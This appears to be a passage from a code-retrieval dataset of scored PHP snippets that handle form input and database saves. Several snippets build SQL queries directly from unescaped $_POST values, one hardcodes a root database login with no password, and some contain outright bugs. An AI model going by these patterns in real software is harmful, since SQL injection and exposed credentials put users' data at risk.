saveAction()\n {\n if ($this->request->isPost() == true) {\n\n // Access POST data\n $customerName = $this->request->getPost(\"name\");\n $customerBorn = $this->request->getPost(\"born\");\n\n }\n\n }", "title": "" }, { "docid": "1a803929513a69cd01871c2221775250", "score": "0.55271703", "text": "public function fetchInputData()\n {\n // fetch posted data input values as an associative array\n $formData = $this->form->getData();\n \n if (method_exists($this->entityRef, 'getCreatedBy')) {\n if (isset($this->form['moderationSpecificCreator']) && null !== $this->form['moderationSpecificCreator']->getData()) {\n $this->entityRef->setCreatedBy($this->form['moderationSpecificCreator']->getData());\n }\n if (isset($this->form['moderationSpecificCreationDate']) && $this->form['moderationSpecificCreationDate']->getData() != '') {\n $this->entityRef->setCreatedDate($this->form['moderationSpecificCreationDate']->getData());\n }\n }\n \n if (isset($this->form['additionalNotificationRemarks']) && $this->form['additionalNotificationRemarks']->getData() != '') {\n $this->request->getSession()->set('RKAlmanacModuleAdditionalNotificationRemarks', $this->form['additionalNotificationRemarks']->getData());\n }\n \n // return remaining form data\n return $formData;\n }", "title": "" }, { "docid": "a836c7d30cbc5f7db0bef34975737804", "score": "0.5524596", "text": "function save_values($jvalues = null, $update = null) {\n //\n //Bind the json argument as a simple string of of name/value pairs\n $this->bind_arg('values', $jvalues);\n //\n //Convert the bounded json string to a php object of name/value pairs\n $this->values = json_decode($this->values);\n //\n //The update case is optional; its boolean\n $this->try_bind_arg('update', $update, $this, FILTER_VALIDATE_BOOLEAN);\n //\n //The desired sql is an insert if there is no primary key; otherwise it\n //is an update \n $sql = empty($this->primarykey) ? $this->get_insert_sql() : $this->get_update_sql();\n //\n //Execute the sql, throwing any exception if there an error \n $this->driver->dbase->query($sql);\n //\n return null;\n }", "title": "" }, { "docid": "a3d4d103e68088528d1d14d28dacabdb", "score": "0.5524265", "text": "public function store() {\n $data = \\Input::all();\n unset($data['_token']);\n \\DB::table('build_depend')->insert($data);\n }", "title": "" }, { "docid": "d5acaa09b42253ee2dac885e5a83a7b1", "score": "0.55219483", "text": "public function submit()\n {\n $pdo = \\Models\\Db::connectDB();\n// $data = [];\n $stmt=null;\n\n if ($this->id ===''){\n #assume we add new item\n $sql=$this->add();\n $stmt= $pdo->prepare($sql);\n }\n else {\n //assume we update an item\n $sql = $this->update();\n $stmt= $pdo->prepare($sql);\n $stmt->bindParam(':id',$this->id);\n }\n $stmt->bindParam(':title',$this->title);\n $stmt->bindParam(':description',$this->description);\n $stmt->execute();\n }", "title": "" }, { "docid": "846e2381d9a93d9161d92083669d958d", "score": "0.54968894", "text": "private function findVariables()\n {\n if (isset($_POST['documentId'])) {\n $dokument = $this->modelManager->find(Document::class, $_POST['documentId']);\n\n if (!empty($dokument)) {\n $this->order = $dokument->getOrder();\n $this->customer = $dokument->getOrder()->getCustomer();\n return;\n }\n }\n\n if (isset($_POST['orderId'])) {\n $order = $this->modelManager->find(Order::class, $_POST['orderId']);\n\n if (!empty($order)) {\n $this->order = $order;\n $this->customer = $order->getCustomer();\n return;\n }\n }\n\n if (isset($_POST['orderNumber'])) {\n $this->setOrderByNumber($_POST['orderNumber']);\n if (null !== $this->order) {\n $this->customer = $this->order->getCustomer();\n return;\n }\n }\n\n //BatchProcess (1 Order)\n if (isset($_POST['number']) && $this->frontProxy->Request()->getActionName() == 'batchProcess') {\n $this->setOrderByNumber($_POST['number']);\n if (null !== $this->order) {\n $this->customer = $this->order->getCustomer();\n return;\n }\n }\n\n //BatchProcess (Multiple Orders)\n if (isset($_POST['orders'])) {\n $this->setOrderByNumber($_POST['orders'][$this->orderCounter]['number']);\n $this->orderCounter++;\n if (null !== $this->order) {\n $this->customer = $this->order->getCustomer();\n return;\n }\n }\n\n //Registration\n if (isset($_POST['register']['personal']['email'])) {\n $this->setUserByEmail($_POST['register']['personal']['email']);\n }\n }", "title": "" }, { "docid": "3c70f20485fb037f77cd741f40ee666d", "score": "0.549225", "text": "function input_data($data,$table){\n\t\t$this->db->insert($table,$data); //insert menambahkan data ke dalam tabel\n\t}", "title": "" }, { "docid": "4c92cc304437cf1023a03c9ec4f84aa6", "score": "0.5486527", "text": "public function save(){\n $clazz = $this->getClass();\n $properties = $this->getProperties();\n $nameArr = implode(',', $properties['names']);\n $placeholderArr = implode(',', $properties['placeholders']);\n $query = \"INSERT INTO \".$clazz::$tablename.\" (\".$nameArr.\") VALUES (\".$placeholderArr.\")\" ;\n self::getDbAdapter()->exec($query, $properties['values'], $clazz);\n return true ;\n }", "title": "" }, { "docid": "44d7996b5c8e55aa948c47fdeb754751", "score": "0.5480614", "text": "function save($Host, $User, $DBPassword, $DBName)\n{\n\t$formValue=array();\n\t$ds = $_SESSION[\"UserID\"];\n\tforeach ($_POST as $key => $value) \n\t{\n\t\t$formValue[$key] = strip_tags($value);\n\t\tif(empty($value))\n\t\t{\n\t\t\t$message = \"Missing data from the form\";\n\t\t\techo json_encode(array('success'=>false, 'msg'=>$message));\n\t\t\texit();\n\t\t}//close missing field condition\n\t}\n\t//close for loop\n\t\n\t\t$dbh = new PDO('mysql:host=localhost;dbname=k0171514', 'root',''); \n\t\t$s_query = \"select id from cvs where uid=:uid and master = '1'\";\n\t\t$Query \t = $dbh->prepare($s_query); // for master templates\n\t\t$Query->bindParam(':uid',$ds,PDO::PARAM_INT); \n\t\t$result = $Query->execute();\n\t\t\n\t\tif (!($row = $Query->fetch(PDO::FETCH_ASSOC)))\n\t\t{\n\t\t\t$message = \"Please first analyse your job requirements\";\n\t\t\techo json_encode(array('success'=>false, 'message'=>$message));\n\t\t\texit();\t\n\t\t}\n\t\telse\n\t\t{\t\n\t\t\tfor($i = 1; $i <= $formValue['countEdu'];$i++)\t\n\t\t\t{\t\t\t\t\n\t\t\t\tif(isset($formValue['institute'.$i]) && !empty($formValue['institute'.$i]))\n\t\t\t\t{\n\t\t\t\t\t$sql \t = \"insert into education(id,cvid,institute_name,start,complete,town,county,country,subject,degree,description) \";\n\t\t\t\t\t$sql .= \"values('','\".$row[\"id\"].\"','\".$formValue['institute'.$i].\"','\".$formValue['start'.$i].\"','\".$formValue['end'.$i].\"',\";\n\t\t\t\t\t$sql .= \"'\".$formValue['town'.$i].\"','\".$formValue['county'.$i].\"','\".$formValue['country'.$i].\"','\".$formValue['subject'.$i].\"',\";\n\t\t\t\t\t$sql .= \"'\".$formValue['degree'.$i].\"','\".$formValue['desc'.$i].\"')\";\n\t\t\t\t\t$r \t\t = $dbh->exec($sql); \n\t\t\t\t\t$lastId = $i.\"-\"; \t\t\t\t\t\n\t\t\t\t}\t\t\t\t\n\t\t\t}\n\t\t\t$dbh = null;\n\t\t\techo json_encode(array('success'=>true,'msg' => 'succesfully inserted'));\n\t\t\texit();\t\t\t\t\t\n\t\t}\n}", "title": "" }, { "docid": "689cd07a0e4c64da194fa6c869bb9c7a", "score": "0.54743105", "text": "public function store()\n\t{\n // return Input::all();\n $name_father = Input::get('datafather.father_name');\n $surname_father = Input::get('datafather.father_surname');\n $name_mother = Input::get('datamother.mother_name');\n $surname_mother = Input::get('datamother.mother_surname');\n $name_spouse = Input::get('dataspouse.spouse_name');\n $surname_spouse = Input::get('dataspouse.spouse_surname');\n $present_address = Input::get('addresspresent.present_address');\n $original_address = Input::get('addressoriginal.original_address');\n if (Auth::check()){\n $IdPolice = Auth::user()->id;\n }\n\n\n\n\n if($present_address!=null){\n $addresspresent = new AddressPresent();\n $addresspresent->fill(Input::get('addresspresent'));\n $addresspresent->save();\n }\n if($original_address!=null){\n $addressoriginal = new AddressOriginal();\n $addressoriginal->fill(Input::get('addressoriginal'));\n $addressoriginal->save();\n }\n\n\n if($name_mother!=null || $surname_mother!=null){\n $datamother = new DataMother();\n $datamother->fill(Input::get('datamother'));\n $datamother->save();\n }\n\n if($name_father!=null || $surname_father!=null){\n\n $datafather = new DataFather();\n $datafather->fill(Input::get('datafather'));\n $datafather->save();\n\n }\n\n if($name_spouse!=null || $surname_spouse!=null){\n $dataspouse = new DataSpouse();\n $dataspouse->fill(Input::get('dataspouse'));\n $dataspouse->save();\n }\n\n\n\n\n $guesthistory = new GuestHistory();\n $guesthistory->fill(Input::except([\"addressoffice\",\"child\",\"employee\",\"family\",\"vehicle\"\n ,\"datamother\",\"dataspouse\",\"addressoriginal\",\"addresspresent\",\"datafather\"]));\n\n if($datamother!=null){\n $guesthistory->datamother()->associate($datamother);\n }\n\n if($datafather!=null){\n $guesthistory->datafather()->associate($datafather);\n }\n\n if($dataspouse!=null){\n $guesthistory->dataspouse()->associate($dataspouse);\n }\n if($addressoriginal!=null){\n $guesthistory->addressoriginal()->associate($addressoriginal);\n }\n if($addresspresent!=null){\n $guesthistory->addresspresent()->associate($addresspresent);\n }\n if($IdPolice!=null){\n $police = Policeimmigration::find($IdPolice);\n $guesthistory->policeimmigration()->associate($police);\n }\n\n\n $guesthistory->save();\n\n\n\n\n $address_office = Input::get('addressoffice');\n $data_child = Input::get('datachild');\n $data_employee = Input::get('employee');\n $person_family = Input::get('personfamily');\n $data_vehicle = Input::get('vehicle');\n\n foreach ( $data_employee as $dataemployee) {\n $employee = new \\App\\Models\\Employee();\n $employee->fill($dataemployee);\n\n $employee->guesthistory()->associate($guesthistory);\n $employee->save();\n }\n\n foreach ( $person_family as $datafamily) {\n $personfamily = new PersonFamily();\n $personfamily->fill($datafamily);\n $personfamily->guesthistory()->associate($guesthistory);\n\n $personfamily->save();\n }\n\n foreach ( $data_vehicle as $datavehicle) {\n $vechicle = new \\App\\Models\\Vehicle();\n $vechicle->fill($datavehicle);\n $vechicle->guesthistory()->associate($guesthistory);\n $vechicle->save();\n }\n\n foreach ( $data_child as $child) {\n $datachild = new DataChild();\n $datachild->fill($child);\n $datachild->guesthistory()->associate($guesthistory);\n\n $datachild->save();\n }\n\n foreach ( $address_office as $data_office) {\n $addressoffice = new AddressOffice();\n $addressoffice->fill($data_office);\n $addressoffice->guesthistory()->associate($guesthistory);\n $addressoffice->save();\n }\n Event::fire(new AddDataPersonGeneralEvent($guesthistory));\n\n return $guesthistory;\n\n\t}", "title": "" }, { "docid": "bce66f403edabf886eef419c7fc1943f", "score": "0.5455018", "text": "function input_data($table, $data) {\r\n\t\t$this->db->insert($table, $data);\r\n\t}", "title": "" }, { "docid": "40b8a590533b70c452f8d77721e5e4f7", "score": "0.5454774", "text": "function readInputData() {\n\t\t$this->readUserVars(array('conferenceId', 'acronym', 'title', 'schedConfPath'));\n\n\t\tif (isset($this->schedConfId)) {\n\t\t\t$schedConfDao =& DAORegistry::getDAO('SchedConfDAO');\n\t\t\t$schedConf =& $schedConfDao->getSchedConf($this->schedConfId);\n\t\t\t$this->setData('oldPath', $schedConf->getPath());\n\t\t}\n\t}", "title": "" }, { "docid": "0d9777af9cf583afc2189d2196528b8c", "score": "0.5453335", "text": "function readInputData() {\n\t\t$this->readUserVars(array(\n\t\t\t'message', 'selected-listbuilder-users-notifyuserslistbuilder'\n\t\t));\n\n\t}", "title": "" }, { "docid": "959c803f74552277730c7ecbb139276c", "score": "0.54444486", "text": "public function save()\n {\n global $Database;\n\n $set = \"\";\n\n //Prepare all variables for the query\n foreach($this->data as $key => $value) {\n $val = $value;\n if(is_object($value) || is_array($value)) {\n $val = json_encode($value);\n }\n \n //check if value is string\n if(!is_numeric($val)) {\n //add '\n $set .= \", \".$key.\"='\".$val.\"'\";\n } else {\n $set .= \", \" + $key + \"=\" + $val;\n }\n }\n\n //delete first \", \"\n $set = substr($set, 2);\n\n //execute query\n $q = $Database->query(\"UPDATE $this->table SET $set WHERE $this->primary_key=$val\");\n //check if succeeded\n if($q && $q->num_rows == 1) {\n return true;\n }\n \n return false;\n }", "title": "" }, { "docid": "1c2238ddd382ee0de31597b1124e3f9e", "score": "0.5429453", "text": "function readInputData() {\r\n\t\t$this->readUserVars(\r\n\t\t\tarray(\r\n\t\t\t\t'articleDrugs'\t\r\n )\r\n\t\t);\r\n\r\n\t}", "title": "" }, { "docid": "e5caeba9c9cb2b5bc5db418a376139ba", "score": "0.54284734", "text": "function processPostVars()\n {\n assignPostIfExists($this->replacements, $this->rs, 'replacements');\n assignPostIfExists($this->manual_term, $this->rs, 'manual_term');\n assignPostIfExists($this->exercise_id, $this->rs, 'exercise_id');\n assignPostIfExists($this->mfrom, $this->rs, 'mfrom');\n assignPostIfExists($this->mto, $this->rs, 'mto');\n\n if (array_key_exists('date', $_POST))\n {\n $this->date = $this->rs['date'] = czechToSQLDateTime(trimStrip($_POST['date']));\n }\n }", "title": "" }, { "docid": "72d17177f948bd2909deadf5f91ddfac", "score": "0.5426907", "text": "function createDbEntry() {\n $con = mysqli_connect(\"localhost\", \"root\"); //Create DB connection\n mysqli_select_db($con, \"automatedtestsuite\");\n \n if(mysqli_connect_errno($con)) {\n echo \"Failed to connect to database\"; \n }\n \n //Perform the insert\n $sql = \"INSERT INTO Activities (ActivityName, ExampleInput, ExampleOutput, Description, StudentCode) VALUES ('$_POST[activityName]', '$_POST[exampleInput]', '$_POST[exampleOutput]', '$_POST[description]', '$_POST[studentCode]')\";\n \n// $sql=\"INSERT INTO Persons (FirstName, LastName, Age) VALUES ('$_POST[firstname]','$_POST[lastname]','$_POST[age]')\";\n \n if (!mysqli_query($con, $sql)) {\n die('Error occured creating database entry: ' . mysqli_error($con));\n }\n \n echo \"<pre style='background-color: lime; color: yellow; text-align: center'><b>Database Entry Created</b></pre>\";\n \n mysqli_close($con); //Close the DB connection\n }", "title": "" }, { "docid": "5ac13afb11b2861bd027bc625b2e3472", "score": "0.54246783", "text": "protected function input($data) {\n\t\tif ($data === false) {\n\t\t\tthrow new Exception(\"Dorm\\Model \\\"\".get_class($this).\n\t\t\t\t\"\\\" cannot read data for input\");\n\t\t}\n\n\t\tforeach($data as $key => $value) {\n\t\t\tif (in_array($key, $this::$fillable)) {\n\t\t\t\t$this->$key = $value;\n\t\t\t}\n\t\t}\n\n\t\t$this->preLoad();\n\t}", "title": "" }, { "docid": "fcb97e335cee2ac236aa40ee19188abc", "score": "0.54090947", "text": "private function data() {\n\n\t\t$this->helper->validateCSRF();\n\n\t\tswitch ($this->request->get('action')) {\n\t\tcase 'forget':\n\t\t\t$this->settings->forget($this->request->get('key'));\n\t\t\tbreak;\n\t\tcase 'add':\n\t\t\t$this->settings->set($this->request->only(['key', 'value']));\n\t\t\tbreak;\n\t\tcase 'update':\n\t\t\t$this->settings->set($this->request->only(['key', 'value']), true);\n\t\t\tbreak;\n\t\t}\n\t\t$this->settings->save();\n\t}", "title": "" }, { "docid": "1fc6babdcf1c89453e52cc1bde7ea28a", "score": "0.5406906", "text": "public function processGetParams()\n {\n $column_names_available = $this->getColumnNames();\n $this->columns = [];\n $this->values = [];\n $this->update = [];\n\n foreach( $this->params as $key => $value ) {\n if (in_array($key, $column_names_available)) {\n $escaped_key = mysqli_real_escape_string($this->connection,$key);\n $escaped_value = mysqli_real_escape_string($this->connection,$value);\n $this->columns[] = \"`\" . $escaped_key . \"`\";\n $this->values[] = \"'\" . $escaped_value . \"'\";\n $this->update[] = \"`\" . $escaped_key . \"` = '\" . $escaped_value . \"'\";\n }\n }\n $this->columns = implode(',', $this->columns);\n $this->values = implode(',', $this->values);\n $this->update = implode(',', $this->update);\n\n }", "title": "" }, { "docid": "1673945114a5eb7100360bbfb63e3900", "score": "0.5406418", "text": "public function save ()\n {\n $tableName = $this->tableName();\n $attributes = $this->attributes();\n $params = array_map(fn($attr) => \":$attr\", $attributes);\n\n $stmt = self::prepare(\"INSERT INTO $tableName (\" . implode(\", \", $attributes) . \") \n VALUES (\" . implode(\", \", $params) . \")\n \");\n\n foreach ($attributes as $attribute)\n {\n $stmt->bindValue(\":$attribute\", $this->{\"get\" . ucfirst($attribute)}());\n }\n\n $stmt->execute();\n return true;\n }", "title": "" }, { "docid": "a805fab1d4267da5a9a10d971185fe1f", "score": "0.5403013", "text": "public function insertForm($tmpTableName)\r\n\r\n\r\n\r\n\t\t{\r\n\r\n\r\n\r\n\t\t\t$arrKey = array();\r\n\r\n\r\n\r\n\t\t\t$arrValue = array();\r\n\r\n\r\n\r\n\t\t\t$arrTblFields = array();\r\n\r\n\r\n\r\n\t\t\t$strMessage = '';\r\n\r\n\r\n\r\n\t\t\t\r\n\r\n\r\n\r\n\t\t\t $strQuery = \"Select * from \".$tmpTableName;\r\n\r\n\r\n\r\n\t\t\t $result = $this->dbQuery($strQuery);\r\n\r\n\r\n\r\n\t\t\t $finfo = mysql_fetch_field($result);\r\n\r\n\r\n\r\n\t\t\t foreach ($finfo as $tblCol) \r\n\r\n\r\n\r\n\t\t\t {\r\n\r\n\r\n\r\n $arrTblFields[] = $tblCol->name;\r\n\r\n\r\n\r\n }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\t\t\t\r\n\r\n\r\n\r\n\t\t\tforeach($_POST as $key => $value)\r\n\r\n\r\n\r\n\t\t\t{\r\n\r\n\r\n\r\n\t\t\t\t//echo(substr($key,3).\" \".$value);\r\n\r\n\r\n\r\n\t\t\t\tif(substr($key,3)=='sellingprice' and $value=='')\r\n\r\n\r\n\r\n\t\t\t\t\t\t\t $value =0;\r\n\r\n\r\n\r\n\t\t\t\tif(substr($key,3)=='buyingprice' and $value=='')\r\n\r\n\r\n\r\n\t\t\t\t\t\t\t $value =0;\r\n\r\n\r\n\r\n\t\t\t\tif((substr($key, 0, 3) == 'db_' || substr($key, 0, 3) == 'md_') && in_array(substr($key, 3),$arrTblFields) )\r\n\r\n\r\n\r\n\t\t\t\t{\r\n\r\n\r\n\r\n\t\t\t\t\r\n\r\n\r\n\r\n\t\t\t\t if( substr($key, 0, 3) == 'md_')\r\n\r\n\r\n\r\n\t\t\t\t {\r\n\r\n\r\n\r\n\t\t\t\t if(trim($value)==\"\")\r\n\r\n\r\n\r\n\t\t\t\t $strMessage= '<li>Required fields can not be left blank</li>';\r\n\r\n\r\n\r\n\t\t\t\t }\r\n\r\n\r\n\r\n\t\t\t\t\r\n\r\n\r\n\r\n\t\t\t\t\t$strKeyTmp = substr($key, 3);\r\n\r\n\r\n\r\n\t\t\t\t\t$arrKey[] = $strKeyTmp;\r\n\r\n\r\n\r\n\t\t\t\t\tif($strKeyTmp == 'password') \r\n\r\n\r\n\r\n\t\t\t\t\t{\r\n\r\n\r\n\r\n\t\t\t\t\t\t$arrValue[] = \"'\".$value.\"'\";\r\n\r\n\r\n\r\n\t\t\t\t\t}\r\n\r\n\r\n\r\n\t\t\t\t\telse if($strKeyTmp == 'startdate' && $value[4]!='-')\r\n\r\n\r\n\r\n\t\t\t\t\t{\r\n\r\n\r\n\r\n\t\t\t\t\t\t$strDate=explode(\"/\",$value);\r\n\r\n\r\n\r\n\t\t\t\t\t\t$date=$strDate[2].\"/\".$strDate[0].\"/\".$strDate[1];\r\n\r\n\r\n\r\n\t\t\t\t\t\t$arrValue[] = \"'\".$date.\"'\";\r\n\r\n\r\n\r\n\t\t\t\t\t}\r\n\r\n\r\n\r\n\t\t\t\t\telse if($strKeyTmp == 'enddate' && $value[4]!='-') \r\n\r\n\r\n\r\n\t\t\t\t\t{\r\n\r\n\r\n\r\n\t\t\t\t\t\t$strDate=explode(\"/\",$value);\r\n\r\n\r\n\r\n\t\t\t\t\t\t$date=$strDate[2].\"/\".$strDate[0].\"/\".$strDate[1];\r\n\r\n\r\n\r\n\t\t\t\t\t\t$arrValue[] = \"'\".$date.\"'\";\r\n\r\n\r\n\r\n\t\t\t\t\t}\r\n\r\n\r\n\r\n\t\t\t\t\t\r\n\r\n\r\n\r\n\t\t\t\t\telse \r\n\r\n\r\n\r\n\t\t\t\t\t{\r\n\r\n\r\n\r\n\t\t\t\t\t\t$arrValue[] = \"'\".mysql_real_escape_string(htmlentities(trim($value))).\"'\";\r\n\r\n\r\n\r\n\t\t\t\t\t}\r\n\r\n\r\n\r\n\t\t\t\t}\r\n\r\n\r\n\r\n\t\t\t}\r\n\r\n\r\n\r\n\t\t\tforeach($_FILES as $key=>$val)\r\n\r\n\r\n\r\n\t\t\t{\r\n\r\n\r\n\r\n \t\t\t\t\r\n\r\n\r\n\r\n\t\t\t\tif($val['name']<>\"\")\r\n\r\n\r\n\r\n \t\t\t\t{\r\n\r\n\r\n\r\n\t\t\t\t $strDirectory=$_POST['dir_'.substr($key,3)];\r\n\r\n\r\n\r\n\t\t\t\t @chmod($strDirectory,0777);\r\n\r\n\r\n\r\n\t\t\t\t $val['name'] = $this->removeSpace($val['name']);\r\n\r\n\r\n\r\n \t\t\t\t move_uploaded_file($val['tmp_name'],$strDirectory.$val['name']);\r\n\r\n\r\n\r\n\t\t\t\t \r\n\r\n\r\n\r\n\t\t\t\t $arrSize= explode(',', $_POST[substr($key,3).'_thumb_size']);\r\n\r\n\r\n\r\n\t\t\t\t \r\n\r\n\r\n\r\n\t\t\t\tif($arrSize[0]<>'')\r\n\r\n\r\n\r\n\t\t\t\t { \r\n\r\n\r\n\r\n\t\t\t\t \tforeach($arrSize as $tmpSize)\r\n\r\n\r\n\r\n\t\t\t\t \t{\r\n\r\n\r\n\r\n\t\t\t\t \t$thName= str_replace(\":\",\"_\",$tmpSize);\r\n\r\n\r\n\r\n\t\t\t\t\t\t$tmpArr=explode(':',$tmpSize);\r\n\r\n\r\n\r\n\t\t\t\t\t\t$strFileName= $strDirectory.$thName.$val['name'];\r\n\r\n\r\n\r\n\t\t\t\t \t} \r\n\r\n\r\n\r\n\t\t\t\t }\r\n\r\n\r\n\r\n \t\t\t\t if((stripos($key, \"db_\")!==false || stripos($key, \"md_\")!==false) && in_array(substr($key, 3),$arrTblFields) )\r\n\r\n\r\n\r\n\t \t\t\t\t{\r\n\r\n\r\n\r\n\t \t\t\t\t $arrKey[]=substr($key,3);\r\n\r\n\r\n\r\n\t\t\t\t\t\t\t $arrValue[] =\"'\".$val['name'].\"'\";\r\n\r\n\r\n\r\n\t\t \t\t\t\t\r\n\r\n\r\n\r\n\t \t\t\t } \r\n\r\n\r\n\r\n\t\t\t\t\t\r\n\r\n\r\n\r\n \t\t }\t \r\n\r\n\r\n\r\n\t\t\t}\t\t\t\r\n\r\n\r\n\r\n\t\t\t$strKey = implode(', ', $arrKey);\r\n\r\n\r\n\r\n\t\t\t$strValue = implode(', ', $arrValue);\r\n\r\n\r\n\r\n\t\t\t\r\n\r\n\r\n\r\n\t\t\tif( $strMessage=='')\r\n\r\n\r\n\r\n\t\t\t{\r\n\r\n\r\n\r\n\t\t\t $strQuery = \"INSERT INTO \".$tmpTableName.\" (\".$strKey.\") VALUES (\".$strValue.\")\";\r\n\r\n\r\n\r\n\t\t\t\t return $this->insertQuery($strQuery);\r\n\r\n\r\n\r\n\t\t\t}\t\r\n\r\n\r\n\r\n\t\t else\r\n\r\n\r\n\r\n\t\t\t{\r\n\r\n\r\n\r\n\t\t\t return $this->showServerValidationMessage( $strMessage);\r\n\r\n\r\n\r\n\t\t\t }\t\t\r\n\r\n\r\n\r\n\t\t\t//die($strQuery);\r\n\r\n\r\n\r\n\t\t\t//exit;\r\n\r\n\r\n\r\n\t\t\t\r\n\r\n\r\n\r\n\t\t}", "title": "" }, { "docid": "153f95362e26dbe1ee46e7610989c25a", "score": "0.5401269", "text": "public function save() {\n\t\t$balance = \"\";\n\t\t$facility = $this -> session -> userdata(\"facility\");\n\t\t$facility_detail = facilities::getSupplier($facility);\n\t\t$supplier_name = $facility_detail -> supplier -> name;\n\t\t$get_user = $this -> session -> userdata(\"user_id\");\n\t\t$get_qty_choice = $this -> input -> post(\"quantity_choice\");\n\t\t$get_qty_out_choice = $this -> input -> post(\"quantity_out_choice\");\n\t\t$get_source = $this -> input -> post(\"source\");\n\t\t$get_source_name = $this -> input -> post(\"source_name\");\n\t\t$get_destination = $this -> input -> post(\"destination\");\n\t\t$get_transaction_date = date('Y-m-d', strtotime($this -> input -> post(\"transaction_date\")));\n\t\t$get_ref_number = $this -> input -> post(\"reference_number\");\n\t\t$get_transaction_type = $this -> input -> post(\"transaction_type\");\n\t\t$transaction_type_name = $this -> input -> post(\"trans_type\");\n\t\t$transaction_effect = $this -> input -> post(\"trans_effect\");\n\t\t$get_drug_id = $this -> input -> post(\"drug_id\");\n\t\t$get_batch = $this -> input -> post(\"batch\");\n\t\t$get_expiry = $this -> input -> post(\"expiry\");\n\t\t$get_packs = $this -> input -> post(\"packs\");\n\t\t$get_qty = $this -> input -> post(\"quantity\");\n\t\t$get_available_qty = $this -> input -> post(\"available_qty\");\n\t\t$get_unit_cost = $this -> input -> post(\"unit_cost\");\n\t\t$get_amount = $this -> input -> post(\"amount\");\n\t\t$get_comment = $this -> input -> post(\"comment\");\n\t\t$get_stock_type = $this -> input -> post(\"stock_type\");\n\t\t$balance = 0;\n\t\t$pharma_balance = 0;\n\t\t$store_balance = 0;\n\t\t$sql_queries = \"\";\n\t\t$source_destination = \"\";\n\n\t\t//Check if source if null or not to determine type of transaction\n\t\tif ($get_source != \"\") {\n\t\t\t$source_destination = $get_source;\n\t\t} else {\n\t\t\t$source_destination = $get_destination;\n\t\t}\n\n\t\t/*\n\t\t * Start processing\n\t\t */\n\t\tif ($get_stock_type == '1') {\n\t\t\t//Stock coming in\n\t\t\tif (strpos($transaction_type_name, \"received\") === 0 || strpos($transaction_type_name, \"balance\") === 0 || (strpos($transaction_type_name, \"returns\") === 0 && $transaction_effect == 1) || (strpos($transaction_type_name, \"adjustment\") === 0 && $transaction_effect == 1) || strpos($transaction_type_name, \"startingstock\") === 0 || strpos($transaction_type_name, \"physicalcount\") === 0) {\n\t\t\t\t//Get remaining balance for the drug\n\t\t\t\t$get_balance_sql = $this -> db -> query(\"SELECT dsb.balance FROM drug_stock_balance dsb WHERE dsb.facility_code='$facility' AND dsb.stock_type='$get_stock_type' AND dsb.drug_id='$get_drug_id' AND dsb.batch_number='$get_batch' AND dsb.balance>0 AND dsb.expiry_date>=CURDATE() AND dsb.expiry_date='$get_expiry' LIMIT 1\");\n\t\t\t\t$balance_array = $get_balance_sql -> result_array();\n\n\t\t\t\t//If transaction is physical count, set actual quantity as physical count\n\t\t\t\tif(strpos($transaction_type_name, \"startingstock\")===0 || strpos($transaction_type_name, \"physicalcount\")===0){\n\t\t\t\t\t$bal=0;\n\t\t\t\t\t//Set all the balances for the drug to be zero in drug_stock_balance when physical count\n\t\t\t\t\t$sql=\"UPDATE drug_stock_balance SET balance =0 WHERE drug_id='$get_drug_id' AND stock_type='$get_stock_type' AND facility_code='$facility'\";\n\t\t\t\t\t$set_bal_zero=$this->db->query($sql);\n\t\t\t\t}\n\n\t\t\t\t//Check if drug exists in the drug_stock_balance table\n\t\t\t\telse if (count($balance_array > 0)) {\n\t\t\t\t\t$bal = $balance_array[0][\"balance\"];\n\t\t\t\t} else {\n\t\t\t\t\t//If drug does not exist, initialise the balance to zero\n\t\t\t\t\t$bal = 0;\n\t\t\t\t}\n\t\t\t\t$balance = $get_qty + $bal;\n\n\t\t\t} else {\n\n\t\t\t\t//If transaction is from main store to pharmacy, get remaining balance for pharmacy\n\t\t\t\tif ($get_destination == $facility) {\n\t\t\t\t\t//Get remaining balance for the drug\n\t\t\t\t\t$get_balance_sql = $this -> db -> query(\"SELECT dsb.balance FROM drug_stock_balance dsb \n\t\t\t\t\tWHERE dsb.facility_code='$facility' AND dsb.stock_type='2' AND dsb.drug_id='$get_drug_id' AND dsb.batch_number='$get_batch' \n\t\t\t\t\tAND dsb.balance>0 AND dsb.expiry_date>=CURDATE() AND dsb.expiry_date='$get_expiry' LIMIT 1\");\n\t\t\t\t\t$balance_array = $get_balance_sql -> result_array();\n\t\t\t\t\t//Check if drug exists in the drug_stock_balance table\n\t\t\t\t\tif (count($balance_array > 0)) {\n\t\t\t\t\t\t$bal_pharma = $balance_array[0][\"balance\"];\n\t\t\t\t\t} else {\n\t\t\t\t\t\t//If drug does not exist, initialise the balance to zero\n\t\t\t\t\t\t$bal_pharma = 0;\n\t\t\t\t\t}\n\t\t\t\t\t$pharma_balance = $bal_pharma + $get_qty;\n\t\t\t\t}\n\t\t\t\t//Substract balance from qty going out\n\t\t\t\t$balance = $get_available_qty - $get_qty;\n\t\t\t}\n\n\t\t}\n\t\t//If transaction is from pharmacy\n\t\telse if ($get_stock_type == '2') {\n\t\t\t//If transaction is received from\n\t\t\tif(strpos($transaction_type_name, \"received\")===0 || strpos($transaction_type_name, \"balance\")===0 || (strpos($transaction_type_name, \"returns\")===0 && $transaction_effect==1) || (strpos($transaction_type_name, \"adjustment\")===0 && $transaction_effect==1) || strpos($transaction_type_name, \"startingstock\")===0 || strpos($transaction_type_name, \"physicalcount\")===0) {\n\t\t\t\t//Get remaining balance for the drug\n\t\t\t\t$get_balance_sql = $this -> db -> query(\"SELECT dsb.balance FROM drug_stock_balance dsb WHERE dsb.facility_code='$facility' AND dsb.stock_type='$get_stock_type' AND dsb.drug_id='$get_drug_id' AND dsb.batch_number='$get_batch' AND dsb.balance>0 AND dsb.expiry_date>=CURDATE() AND dsb.expiry_date='$get_expiry' LIMIT 1\");\n\t\t\t\t$balance_array = $get_balance_sql -> result_array();\n\t\t\t\t//If transaction is physical count, set actual quantity as physical count\n\t\t\t\tif (strpos($transaction_type_name, \"startingstock\") === 0 || strpos($transaction_type_name, \"physicalcount\") === 0) {\n\t\t\t\t\t$bal = 0;\n\t\t\t\t}\n\t\t\t\t//Check if drug exists in the drug_stock_balance table\n\t\t\t\telse if (count($balance_array > 0)) {\n\t\t\t\t\t$bal = $balance_array[0][\"balance\"];\n\t\t\t\t} else {\n\t\t\t\t\t//If drug does not exist, initialise the balance to zero\n\t\t\t\t\t$bal = 0;\n\t\t\t\t}\n\t\t\t\t$balance = $get_qty + $bal;\n\t\t\t\t//Get the remaining balance for the drug in the store\n\n\t\t\t\tif (strpos($transaction_type_name, \"received\") === 0 && $get_stock_type == '2' && (strpos($get_source_name, \"main\") 